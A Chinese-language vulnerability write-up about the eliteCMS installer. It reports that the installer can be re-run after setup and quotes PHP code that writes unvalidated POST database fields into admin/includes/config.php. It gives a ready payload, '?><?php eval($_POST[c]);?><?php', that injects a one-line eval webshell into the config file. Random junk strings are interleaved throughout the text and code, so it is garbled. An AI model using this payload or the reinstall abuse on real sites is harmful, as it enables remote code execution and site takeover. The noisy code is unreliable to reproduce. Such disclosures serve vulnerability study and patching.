eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装5 w; G9 Z; A0 d8 i, H9 D
$ W4 J6 K6 J* f- S6 ~8 {
另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
! m& U5 y/ i9 C1 _我们来看代码:) _; a2 [2 [* i; }/ @
+ r8 K0 t- \8 Q) R$ J# x! t...
! G: f. B. v) c8 {4 welseif ($_GET['step'] == "4") {
5 J9 a% ?/ j. h2 c7 p1 m1 H4 ~( l9 ~ $file = "../admin/includes/config.php";
$ S# Q" u" q( K0 d& R/ G $write = "<?php\n";5 Y/ J' W+ {7 Z
$write .= "/**\n";
0 G& j5 q' g0 ^0 O/ b& u $write .= "*\n";
+ H- T9 c0 U: k $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
* u8 X( J( V' D" x# Y! o...略...
$ z/ _8 d b' j) u $write .= "*\n";: _% E, m/ E1 x( V9 O
$write .= "*/\n";
+ {9 ?# o5 _( u5 n2 ?; z* i* u $write .= "\n";4 t- Y+ z: Z0 `3 M
$write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";5 R6 ?5 }7 e3 I$ V% F2 | u* ^0 x
$write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
( @; O* |& |4 u; t $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
7 `# d( |% [( m' E) X+ @8 V $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";) @$ [6 y( z: u
$write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
5 z/ X0 ?; {+ m8 Q $write .= "if (!\$connection) {\n";
0 X) x% J0 _; A% g/ l" \ $write .= " die(\"Database connection failed\" .mysql_error());\n";
* K$ U5 R. m3 k. L $write .= " \n";+ U2 e4 b1 ]+ P$ E
$write .= "} \n";/ r) E% G$ q C% @9 G8 ]9 J* L2 B
$write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";3 @4 y: S6 h3 B( x3 }# l! a
$write .= "if (!\$db_select) {\n";$ K6 ?- ?; r$ `# \
$write .= " die(\"Database select failed\" .mysql_error());\n";+ j( P( ` {" j I! Q/ ~; p& G1 F# h$ ~
$write .= " \n";
) Q; U- V, } o, b! O $write .= "} \n";- s5 K3 \# _) b/ G
$write .= "?>\n";+ \* J0 I3 _) H1 |
1 i$ F: ]1 q1 s; h/ {. F7 z
$writer = fopen($file, 'w');" G/ `) g* g1 \
...9 T9 ~) C* h4 }) d: ]3 S
" Q R% @& v2 M0 }+ l& ~在看代码:8 s3 h8 m; N' \# S1 r: R
3 f4 N" `1 i0 Z0 a H+ c$ i1 k
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
0 |) l4 _7 @7 t+ u( }% ~1 T: l' u: ^$_SESSION['DB_NAME'] = $_POST['DB_NAME'];. o2 t. i/ q' I6 n
$_SESSION['DB_USER'] = $_POST['DB_USER'];! r/ F/ e$ I& W, B/ {' S
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];* ^1 D! o7 B$ {) p+ A3 |
2 k) B! n# m U8 M取值未作任何验证
3 }2 P3 y/ W$ T' s+ X如果将数据库名POST数据:
Q0 A* }, r4 f! x$ B9 ~, x
1 _/ j- n m L. T% ]"?><?php eval($_POST[c]);?><?php5 e; ^- ?- J1 h
1 d7 s, ^" m* w7 r4 i将导致一句话后门写入/admin/includes/config.php
6 u* d6 F3 s! x$ B+ _6 ~' t2 T6 G' {2 o |